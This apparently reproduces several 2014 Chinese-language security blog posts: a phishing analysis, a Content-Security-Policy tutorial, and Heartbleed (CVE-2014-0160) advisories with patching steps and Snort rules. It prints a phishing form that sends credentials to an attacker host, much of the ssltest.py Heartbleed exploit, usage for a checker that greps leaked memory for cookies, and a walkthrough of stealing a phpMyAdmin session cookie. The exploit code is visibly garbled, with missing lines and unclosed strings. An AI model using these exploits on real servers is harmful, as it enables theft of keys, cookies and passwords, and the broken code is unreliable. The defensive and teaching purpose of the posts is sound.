<form novalidate="" method="post" action="http://cantonfair.a78.org/yahoo/post.php" id="gaia_loginform">
  <input name="GALX" value="6UMbQQmFgwI" type="hidden">
  <input name="continue" value="http://mail.google.com/mail/" type="hidden">
  <input name="service" value="mail" type="hidden">
  <input name="hl" value="en" type="hidden">
  <input name="scc" value="1" type="hidden">
  <input name="sacu" value="1" type="hidden">
  <input id="_utf8" name="_utf8" value="☃" type="hidden">
  <input name="bgresponse" id="bgresponse" value="js_disabled" type="hidden">
  <input id="pstMsg" name="pstMsg" value="1" type="hidden">
  <input id="dnConn" name="dnConn" value="" type="hidden">
  <input id="checkConnection" name="checkConnection" value="youtube:424:1" type="hidden">
  <input id="checkedDomains" name="checkedDomains" value="youtube" type="hidden">
<label class="hidden-label" for="Email">Email</label>
<input id="Email" name="Email" placeholder="Email" spellcheck="false" class="" type="email">
<label class="hidden-label" for="Passwd">Password</label>
<input id="Passwd" name="Passwd" placeholder="Password" class="" type="password">
<input id="signIn" name="signIn" class="rc-button rc-button-submit" value="Sign in" type="submit">

發現了嗎?其中 form 的 action 欄位被取代成「http://cantonfair.a78.org/yahoo/post.php」,而這個頁面會直接接收受害者輸入的帳號密碼,並且自動跳轉到真正的 Google 登入頁面。攻擊者從 a78.org 這個網站中直接取得所有被駭的人輸入的帳號密碼。


  1. 不隨便開啟附加檔案:附件常夾帶惡意程式、執行檔、惡意文件、釣魚網頁等,切勿隨便開啟。可使用 Google Docs 開啟附件文件防止惡意文件攻擊 Adobe PDF Reader、Microsoft Office 等程式。更常有把惡意程式加密壓縮後寄出,在信中附上密碼,借此規避防毒軟體的偵測,不可不慎。
  2. 注意信件中的超連結 URL:釣魚信件常在超連結中使用惡意網站的 URL,在點選之前務必仔細檢查,更要小心「Google」及「Goog1e」之類的英文數字差異。
  3. 注意信件中的語氣:有的時候攻擊者仿冒你身邊可信任的人寄信給你,但是語氣、用詞要非常精準。如果出現了「尊敬的用戶您好」你就會發現這個應該不太像是台灣本土的信件用語。
  4. 不在信件中夾帶機敏資料:信件是不安全的,切勿在信中提到帳號、密碼、個資等機密資料。
  5. 不回應陌生郵件:郵件中會夾帶自己的 IP 位址,回應信件可能讓攻擊者得到這些資料。
  6. 使用安全的郵件軟體:若使用安全的郵件軟體、平台,例如 Gmail,遇到惡意郵件時,會即時阻擋並且警告用戶。如果使用自己的郵件軟體,就要特別注意釣魚等攻擊。

電子郵件的攻擊已經成為滲透攻擊主要的手法之一,不少國際資安事件都是肇因於惡意郵件。例如 2013 年韓國 DarkSeoul 事件,以及竄改交易匯款資料郵件詐取匯款等。身為目標的我們更要時時注意使用電子郵件時的安全事項。

Content-Security-Policy - HTTP Headers 的資安議題 (2)

7 April 2014 at 16:00


還記得在上一篇 HTTP headers 的資安議題 (1) 文章中,我們提到了多種資安相關的 HTTP headers 嗎?接下來的幾篇文章我們會介紹幾個專門對付 XSS 的 HTTP headers,首先就由 Content-Security-Policy 打頭陣。

Content-Security-Policy(以下簡稱 CSP)是從 2010 年被提出來的一項 Web 規格,主要目的是用來防止 Cross-Site Scripting(以下簡稱 XSS)跟網頁樣式置換(例如科技部被惡搞就是一個最好的例子)。經過五年發展,CSP 1.0 已從 W3C 的 TR (Technical Report) 變成 Candidate Recommendation,應該不久就會將成為 W3C 推薦標準。新的 CSP 1.1 則仍在草案階段。

CSP 家族龐大,總共有三個類別,六個項目:

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only
  • X-Content-Security-Policy
  • X-Content-Security-Policy-Report-Only
  • X-WebKit-CSP
  • X-WebKit-CSP-Report-Only

在 CSP 發展初期,主流瀏覽器並未全部依照同一標準來開發,因此發展成這三種類別。目前由於 CSP 1.0 即將成為標準,大多數瀏覽器已支援 Content-Security-Policy 這個類別,因此狀況已逐漸收斂。主流瀏覽器的支援列表如下圖:

Content-Security-Policy 瀏覽器支援列表

從列表中可看到,只要使用 Content-Security-Policy 與 X-Content-Security-Policy 就已有很高的覆蓋率,除非要支援 Safari 6,否則不用特意使用 X-WebKit-CSP。更詳細的瀏覽器支援列表可參考 Can I use

CSP 1.0 主要作用

  • 載入來源白名單

    宣告一組受信任的白名單與資源種類(如 JavaScript, CSS, image 等等),使瀏覽器只能從此白名單中載入資源,藉此防止攻擊者從外部引入含有惡意程式碼的資源。

    例:Content-Security-Policy: default-src ‘self’; script-src ‘self’ http://js.devco.re; style-src ‘self’ http://css.devco.re; img-src ‘self’ data:; frame-src ‘none’

    效果:限定 script 資源只能從 http://js.devco.re 載入;限定 style 資源只能從 http://css.devco.re 載入;限定 img 只能從相同 domain 載入,並且支援 data scheme;限定 frame 不能從任何來源載入;除了 script、style、img、frame 之外的資源,則只能從同樣 domain 以及同樣協定的來源載入。

  • 禁止 inline 程式碼

    一般人開發網站時為求便利,經常會在 HTML 中寫入一些 inline 程式碼,但攻擊者意圖入侵網站時也常用此手法。然而瀏覽器其實無法分辨這些 inline 程式碼究竟是開發人員寫的,還是攻擊者植入的。因此 CSP 乾脆強迫開發者必須把所有 inline 程式碼移到外部檔案,完全杜絕在 HTML 中出現 inline 程式碼的狀況。因此除非你在 CSP 宣告時有註明 ‘unsafe-inline’,否則 CSP 預設禁止使用 inline script 或 inline CSS。

    例:Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-inline’

  • 禁止 eval 函式

    eval() 對許多開發者來說一直是個非常方便的函式,然而若缺乏資安觀念,使用此函式時很可能會導致潛在的 XSS 風險。因此除非你在 CSP 宣告時有註明 ‘unsafe-eval’,否則 CSP 預設禁止使用 eval() 函式。

    例:Content-Security-Policy: default-src ‘self’; script-src ‘unsafe-eval’

  • 防止 sniffer

    由於 CSP 可指定載入資源時強制使用 https 協定,因此可降低被 sniffing 的機率。

    例:Content-Security-Policy: default-src http://devco.re; img-src https:

    效果:限定圖片只能從 https 協定載入,不限定 domain。而除了圖片之外的資源則可從任意來源載入。

CSP Demo

下面這一段程式碼,使用 default-src * 讓相關資源可正常顯示:

header("Content-Security-Policy: default-src *");

        <title>CSP Demo Site</title>
        <h3>Content Security Policy Demo Site</h3>
        <img width="200" height="200" src="http://devco.re/assets/themes/devcore/images/double-sticker.png"></img>
        <iframe frameborder='0' width='300' height='200' src='http://www.youtube.com/embed/E-BGf1MwecU'></iframe>

使用最寬鬆的 Content-Security-Policy 規則

接下來我們將 php header 的那一行程式碼修改如下並且 reload 瀏覽器頁面:

header("Content-Security-Policy: default-src *; img-src https:; frame-src 'none'");

使用 Content-Security-Policy 限制 img 與 frame 的來源

使用 CSP 限制 img 與 frame 的來源種類後,我們可以從上圖 Chrome Inspector 的紅字觀察到,網站的圖片與 iframe 影片已被瀏覽器擋掉,無法載入。

如果擔心直接使用 CSP 會影響網站營運,但又想嘗試 CSP,可以先使用 Content-Security-Policy-Report-Only,示範如下:

header("Content-Security-Policy-Report-Only: default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo");


由上圖可以看到,此 header 不會直接阻擋不符合 CSP 規範的資源,但是會根據使用者所違反的規則發送相對應的 POST request 至指定的 URI,發送內容如下:

  "csp-report": {
    "original-policy":"default-src *; img-src https:; frame-src 'none'; report-uri http://devco.re/demo",
    "violated-directive":"img-src https:"

由發送內容可看出這個 request 因為違反了「img-src https:」規則而將「http://devco.re/」這個來源擋掉。經由此方式,可一邊修改網站一邊觀察是否仍有不符合 CSP 規範之處,等到所有違規的內容都修正完畢後,再將 CSP 套用到正式上線環境。

由於宣告方式非常多種,在這邊就不一一條列,若有興趣可前往 Content Security Policy Reference & ExamplesUsing Content Security Policy - Security | MDN 等網頁,有更完整的使用情境與範例可供參考。另外也有 Slide (by Ben Vinegar) 跟 YouTube 影片 (by Adam Barth) 可參考。

CSP 實際使用案例

目前採用 CSP 的案例較少,比較知名的使用案例是 GitHub,在 2013 年 4 月 GitHub 還寫了一篇專文公告表示他們已開始採用 CSP。另外一個案例廠商可能較廣為人知,是在 2013 年當紅的免費儲存空間 MEGA。兩個案例的實際內容可見於下圖:

GitHub 與 MEGA 使用 CSP 後的 HTTP response

另一項知名使用案例是 Google 明定開發 Chrome Extension 時必須使用 CSP,以追求更高的安全性。Mozilla 也在 MozillaWiki 開了一頁存放相關技術細節。若您想觀察其他使用案例,可使用 Chrome Inspector 或 curl 觀察以下幾個網站:LastPassTwitter1Password

CSP 常見誤用案例

  • directives 後面不需加冒號

    錯誤:default-src: ‘self’

    正確:default-src ‘self’

  • directives 之間以分號區隔

    錯誤:default-src ‘self’, script-src ‘self’

    正確:default-src ‘self’; script-src ‘self’

  • 多個 source 之間僅以空白區隔

    錯誤:default-src ‘self’; img-src ‘self’, img1.devco.re, img2.devco.re

    正確:default-src ‘self’; img-src ‘self’ img1.devco.re img2.devco.re

  • 某些 source 必須加冒號(https:、data:)

    錯誤:default-src ‘self’; img-src ‘self’ https data

    正確:default-src ‘self’; img-src ‘self’ https: data:

  • 某些 source 必須用單引號括起來(’none’、’self’、’unsafe-inline’、’unsafe-eval’)

    錯誤:script-src self unsafe-inline unsafe-eval

    正確:script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’


使用 CSP 可以有效提升攻擊難度,讓許多常見的 XSS 攻擊失效,是一個非常推薦開發者使用的 HTTP header。但由於目前的開發者在 HTML 裡面寫 inline script 及 inline CSS 的比例非常高,同時也有一些網路服務預設都需要使用 inline script(例如 Google Analytics,相關解法可參考這裡),因此要享受這樣的安全之前,可能需要先付出許多時間與心力將網站大幅整理,套用 CSP 規範後網頁才能正常運作。

OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞

8 April 2014 at 16:00

OpenSSL CVE-2014-0160 嚴重漏洞

OpenSSL 今天公告了一個極度嚴重的漏洞(CVE-2014-0160),被稱為「Heartbleed」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。

詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug

  • 軟體名稱:OpenSSL
  • 影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1
  • 修復版本:1.0.1g / 1.0.2-beta2
  • 影響系統版本
    • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
    • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
    • CentOS 6.5, OpenSSL 1.0.1e-15
    • Fedora 18, OpenSSL 1.0.1e-4
    • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
    • FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
    • NetBSD 5.0.2 (OpenSSL 1.0.1e)
    • OpenSUSE 12.2 (OpenSSL 1.0.1c)
  • 影響服務:HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務

OpenSSL 的公告如下:https://www.openssl.org/news/secadv_20140407.txt

A missing bounds check in the handling of the TLS heartbeat extension can be
used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including
1.0.1f and 1.0.2-beta1.



直接輸入 Domain 即可查詢,例如「fbi.gov」。

OpenSSL CVE-2014-0160 Heartbleed 檢測: fbi.gov

使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。

OpenSSL CVE-2014-0160 Heartbleed 檢測: ifttt.com



# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  

hb = h2bin(''' 
18 03 02 00 03
01 40 00

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    print 'Waiting for Server Hello...'
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:

    print 'Sending heartbeat request...'

if __name__ == '__main__':

使用方法直接執行「perl check-ssl-heartbleed.pl mail.XXXXXX.gov.tw:443」,可在網域名稱後指定特定 SSL 連接埠。


Check if server is vulnerable against heartbleet SSL attack (CVE-2014-0160)
Usage: check-ssl-heartbleed.pl [ --starttls proto[:arg] ] [ --timeout T ] host:port
  --starttls proto[:arg] - start plain and upgrade to SSL with
			   starttls protocol (imap,smtp,http,pop)
  -T|--timeout T         - use timeout (default 5)
  -H|--heartbeats N      - number of heartbeats (default 1)
  -s|--show-data [L]     - show heartbeat response if vulnerable, optional
                           parameter L specifies number of bytes per line (16)
  -R|--show-regex-data R - show data matching perl regex R. Option can be
                           used multiple times
  -q|--quiet             - don't show anything, exit 1 if vulnerable
  -h|--help              - this screen

  # check direct www, imaps .. server
  check-ssl-heartbleed.pl www.google.com:443
  check-ssl-heartbleed.pl www.google.com:https
  check-ssl-heartbleed.pl mail.google.com:imaps

  # try to get Cookies
  check-ssl-heartbleed.pl -R 'Cookie:.*' www.broken-site.com:443

  # check webserver via proxy
  check-ssl-heartbleed.pl --starttls http:www.google.com:443 proxy:8000

  # check imap server, start with plain and upgrade
  check-ssl-heartbleed.pl --starttls imap imap.gmx.net:143

  # check pop server, start with plain and upgrade
  check-ssl-heartbleed.pl --starttls pop pop.gmx.net:110

  # check smtp server, start with plain and upgrade
  check-ssl-heartbleed.pl --starttls smtp smtp.gmail.com:587



  1. 確認自己的 OpenSSL 版本是否在受害範圍
  2. 使用 ssltest.py 檢測工具檢測是否含有漏洞
  3. 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
  4. 重開所有與 OpenSSL 函式庫相關之服務
  5. 重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
  6. 將網站舊憑證撤銷
  7. 清除所有目前網頁伺服器上的 Session (因為可能遭到竊取)
  8. 必要時更換網站內使用者密碼,或是密切追蹤網站是否有帳號盜用的情況發生

Heartbleed: What is it and what are options to mitigate it? http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it


真的會有攻擊者利用這樣的攻擊手法嗎?目前在烏雲 wooyun平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式,想要藉此把平常打不下來的網站一舉攻陷。

怎樣的站台會是重點目標呢?含有會員機制的網站特別如此,例如 Web Mail、社群網站等等。因此不少企業要多注意了,例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS,都會在這波的攻擊範圍之內。如果沒有儘速修復,等到更有效的攻擊程式出現,就真的等著失血了。


就連 OpenSSL 這種歷史悠久而且重要的函式庫,都可能犯這種基本的 C 語言程式設計錯誤,老舊的程式碼一定有不少陳年遺毒,如果沒有徹底清查,類似的心臟噴血事件會不斷上演。大家快點止血吧!

OpenSSL Heartbleed 全球駭客的殺戮祭典,你參與了嗎?

10 April 2014 at 16:00

你跟上了 OpenSSL Heartbleed 的祭典了嗎?如果還沒有,別忘記詳細閱讀一下我們的前文「OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞」。


  • Heartbleed 跟我有關嗎?我該怎麼知道?
  • 我該怎麼更新 OpenSSL?
  • 我如果不能更新,要怎麼防止攻擊?
  • Heartbleed 漏洞攻擊者會怎麼利用?
  • 目前受害的狀況如何?
  • 我只是一般民眾,該如何應對?



大家都說 OpenSSL Heartbleed 漏洞可望為本年度最嚴重的漏洞,到底有多嚴重呢?我相信沒有看到攻擊的範例是沒有感覺的。大家可以先看看以下的影片,利用最先釋出的兩個簡單的 PoC exploit (弱點利用程式)「ssltest.py」以及「check-ssl-heartbleed.pl」,來檢測伺服器是否有 Heartbleed 問題。檢測的同時可以獲取伺服器記憶體中的資訊,其中就可能包含了機敏資訊。


首先利用 ssltest.py 來測試,來看伺服器是否有被 heartbleed 漏洞影響,fbi.gov 在第三天已經修復這個問題。

利用 ssltest.py 來測試伺服器是否有 Heartbleed 漏洞。

如果是檢測一個有漏洞的網站,這個工具會直接把記憶體的內容顯示出來,其中可能包括 http 傳輸的資料、帳號密碼、私密金鑰等。在這個例子中,攻擊程式讀取到使用者送出的 form,若其中包含個資將會被一覽無遺,非常危險。

利用 ssltest.py 抓出記憶體中的資料,其中包括 HTTP 傳輸內容。

另一個工具 check-ssl-heartbleed.pl 可以使用 -R 參數做更有效的利用。直接執行指令可以快速顯示伺服器有無問題。

利用 check-ssl-heartbleed.pl 來檢查伺服器是否有 heartbleed 問題。

如果使用「-R」參數並且指定特定的正規表示式,可以抓出想要獲取的資料。例如 Cookie、帳號密碼等。以此例,我們知道這個網站提供 phpMyAdmin 套件,因此直接鎖定「pmaPass」資料來抓取,沒想到第一次就抓到了。

利用 check-ssl-heartbleed.pl 抓出特定機敏資料。

接著攻擊者只要把這個獲取到的 Cookie 存入自己的瀏覽器中,就可以如影片中盜用這個帳號。是否很危險呢?


誰在利用 Heartbleed 漏洞竊取資料呢?

由 github 上面的 commit 記錄,出問題的那行程式碼是在 2011-12-31 22:59:57 commit 的,不知道是開發者太累還是 NSA 的陰謀。根據 Bloomberg 的報導指出,知情人士表示 NSA 早在兩年前就已經知道此漏洞,並且利用這個漏洞竊取許多網站的機敏資料。這代表 NSA 在一開始就知道這個漏洞,令人不禁有其他聯想。

The U.S. National Security Agency knew for at least two years about a flaw in the way that many websites send sensitive information, now dubbed the Heartbleed bug, and regularly used it to gather critical intelligence, two people familiar with the matter said.

在之前台灣駭客年會 (HITCON) 2013 的講師 Rahul Sasi (Garage4Hackers) 公布了大量掃描 Heartbleed 漏洞的程式,也可以供研究人員自行研究,或者是尋找自己管理的主機中有多少包含這個風險的。


OpenSSL 是什麼?IIS 會受 Heartbleed 漏洞影響嗎?

OpenSSL 是一個函式庫(Library),在 UNIX 系列的服務若有使用 SSL,通常都會使用 OpenSSL。因此這次的漏洞並未影響微軟 IIS。

我使用 OpenSSL 0.9.8,太好了我用舊版我好安全!

你聽過 BEAST, BREACH, CRIME, Lucky 13 嗎?

我沒有使用 HTTPS,所以我很安全!


只有網頁伺服器(HTTP Server)會受影響嗎?

不只!只要使用 OpenSSL 支援 STARTTLS 的服務都在影響範圍,包括 HTTPS、IMAPS、POPS、SMTPS 等伺服器。



CERT: OpenSSL heartbeat extension read overflow discloses sensitive information

廠商的設備目前狀況特別嚴重,因為所有同個版本的設備都會受影響,而在廠商釋出更新之前,只能被動的等待更新。若沒有繼續簽訂維護約的設備,也只能繼續跟廠商簽約更新,或者是看廠商是否可以直接提供更新檔。如果有 VPN Server 等服務更要注意,如果被攻擊者取得帳號密碼,等於如入無人之境,直接使用你的帳號登入到企業內網,不可不慎。


引述自好朋友 Ant 的文章,各家作業系統、網站的更新速度,代表著企業重視資安的程度以及針對資安事件緊急應變的效率,也可以作為我們挑選系統、網站、廠商的依據。



  1. OpenSSL (資安弱點的主角) 第一次公開揭露的時間約在 2014年4月6日 0時。
  2. RedHat 在 2014年4月7日 07:47:00 正式修復。
  3. OpenSSL 正式確認並修復的時間約在 2014年4月7日16時。
  4. OpenBSD 約在 2014年4月7日 20:17 正式修復。
  5. Arch Linux 約在 2014年4月7日 20:36 正式修復。
  6. Debian 約在 2014年4月7日 21:45 正式修復。
  7. FreeBSD 約在 2014年4月7日 21:46 正式修復。
  8. Ubuntu 約在 2014年4月7日 21:48 正式修復。
  9. Fedora 約在 2014年4月8日 00:33 正式修復。
  10. CentOS 約在 2014年4月8日 02:49 正式修復。
  11. OpenSUSE 約在 2014年4月8日 05:32 正式修復。
  12. Scentific 約在 2014年4月8日 08:27 正式修復。
  13. Gentoo 約在 2014年4月8日 09:36 正式修復。


  1. RedHat 修復的速度比 OpenSSL 官方還快。
  2. RedHat 派系的修復時間,除了 RedHat 外都算慢,如 Fedora 及 CentOS、Scentific,他們都比 RedHat 慢 16 小時以上。
  3. Debian 派系的修復時間,如 Debian 及 Ubuntu,都比 RedHat 慢上至少 12 小時以上。
  4. Gentoo 是列表中修復最慢的。
  5. 若以資安黃金 6 小時來說,Fedora、CentOS、OpenSUSE、Scentific 及 Gentoo 都不及格。




  • Cloudflare 約在 2014年4月7日 11時修復。
  • DigitalOcean 約在 2014年4月8日 12時修復。
  • AWS 約在 2014年4月8日 12時修復。
  • Linode 約在 2014年4月8日 14時修復。
  • Heroku 約在 2014年4月8日 16時修復。

有些公司直到 2014年4月8日 16時都還沒修復。此時已離官方正式修復整整一天,也比上述機器數很多的雲端相關公司還慢。這些公司為,

  • Yahoo.com / Flickr.com
  • Kaspersky.com (資安公司)
  • stackoverflow.com
  • stackexchange .com
  • php.net

感謝 StackNG 的補充:Cloudflare 於 2014 年 4 月 7 日 11 時公告,但在漏洞公告之前已經修復。


根據 ZMap研究報告指出,他們針對 Alexa 前一百萬個網站進行檢測,大約有 36% 的伺服器支援 TLS、7.6% 的伺服器含有此漏洞。ZMap 並提供了一個完整的清單列出在 2014/4/11 17:00 尚未修復漏洞的網站。

ZMap.io Heartbleed vulnerable domains


OpenSSL Heartbleed with a beer!

via Facebook

我要怎麼更新 OpenSSL 呢?

根據不同的 Linux Distribution 有不同的更新方式,若有自己客製化一些程式設定,可能就需要自行更新。以下我們簡單介紹更新步驟:

RedHat / CentOS / Fedora 系列更新套件:

yum update
yum update openssl #只更新 OpenSSL

Debian / Ubuntu 系列更新套件:

sudo apt-get update
sudo apt-get dist-upgrade

若只要更新 OpenSSL 則可以執行以下指令

sudo apt-get install --only-upgrade openssl
sudo apt-get install --only-upgrade libssl1.0.0

注意 OpenSSL 是否已經更新為修復的版本:

rpm -q -a | grep "openssl"  # RedHat
dpkg -l | grep "openssl"    # Debian

接著請記得撤銷原本的簽章金鑰,重新簽署,並記得提交 CSR (Certificate Signing Request) 給 CA (Certification Authority)。

openssl req -new -newkey rsa:2048 -nodes -keyout hostname.key -out hostname.csr


sudo service httpd restart      # RedHat
sudo service apache2 restart    # Debian


我無法更新我的伺服器,我該怎麼在 IDS 偵測攻擊呢?

若你使用 Snort IDS,官方已經釋出 SID 30510 到 30517 來偵測,並且在 Community Rules 中也有包含。

# SIDs 30510 through 30517 address detection of the heartbleed attack 

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL SSLv3 
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 00|"; 
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; 
metadata:policy balanced-ips drop, policy security-ips drop, service ssl;  
reference:cve,2014-0160; classtype:attempted-recon; sid:30510; rev:2;) 
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1 
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 01|"; 
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; 
metadata:policy balanced-ips drop, policy security-ips drop, service ssl; 
reference:cve,2014-0160; classtype:attempted-recon; sid:30511; rev:2;) 
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.1 
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 02|"; 
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; 
metadata:policy balanced-ips drop, policy security-ips drop, service ssl; 
reference:cve,2014-0160; classtype:attempted-recon; sid:30512; rev:2;) 
alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"SERVER-OTHER OpenSSL TLSv1.2 
heartbeat read overrun attempt"; flow:to_server,established; content:"|18 03 03|"; 
depth:3; dsize:>40; detection_filter:track by_src, count 3, seconds 1; 
metadata:policy balanced-ips drop, policy security-ips drop, service ssl; 
reference:cve,2014-0160; classtype:attempted-recon; sid:30513; rev:2;) 
alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER SSLv3 large 
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; 
content:"|18 03 00|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track 
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips 
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30514; 
alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1 large 
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; 
content:"|18 03 01|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track 
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips 
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30515; 
alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.1 large 
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; 
content:"|18 03 02|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track 
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips 
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30516; 
alert tcp $HOME_NET 443 -> $EXTERNAL_NET any (msg:"SERVER-OTHER TLSv1.2 large 
heartbeat response - possible ssl heartbleed attempt"; flow:to_client,established; 
content:"|18 03 03|"; depth:3; byte_test:2,>,128,0,relative; detection_filter:track 
by_dst, count 5, seconds 60; metadata:policy balanced-ips drop, policy security-ips 
drop, service ssl; reference:cve,2014-0160; classtype:attempted-recon; sid:30517; 




  • 注意常用的重要網站服務,是否有針對 Heartbleed 漏洞的更新措施。不少大公司都有發出公告、公告信等。
  • 若常用網站服務有遭遇此風險,記得更換帳號密碼。
  • 若這段時間有網站通知更換密碼,也請注意是否為釣魚信件。
  • 注意自己的帳號是否有異常活動。
  • 若使用的網站服務就是不更新,一天一信友善提醒管理者


  • 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2,並密切注意有無後續更新。
  • 重新產生金鑰(Private Key 可能外洩)、Session(Session ID 可能外洩)、密碼(密碼也可能外洩),並且撤銷原本的金鑰。
  • 若無法更新,重新編譯 OpenSSL 以關閉 heartbeat 功能。
  • 使用 Perfect Forward Secrecy (PFS),在未來類似風險發生時減低傷害。

許多業者抱持著僥倖的心態,想說外洩的目標不會輪到自己。如果大家看到這幾天全世界資安人員 / 駭客不眠不休的撈取資料,應該會徹底消滅僥倖的想法乖乖做好防護。在漏洞揭露的頭幾天,就已經陸續看到不少駭客進入 Google、Facebook、Yahoo! 等伺服器,並且撰寫大規模掃描工具大量攻擊。除非你有把握自己的伺服器沒有任何連線,不然還是請乖乖更新吧。


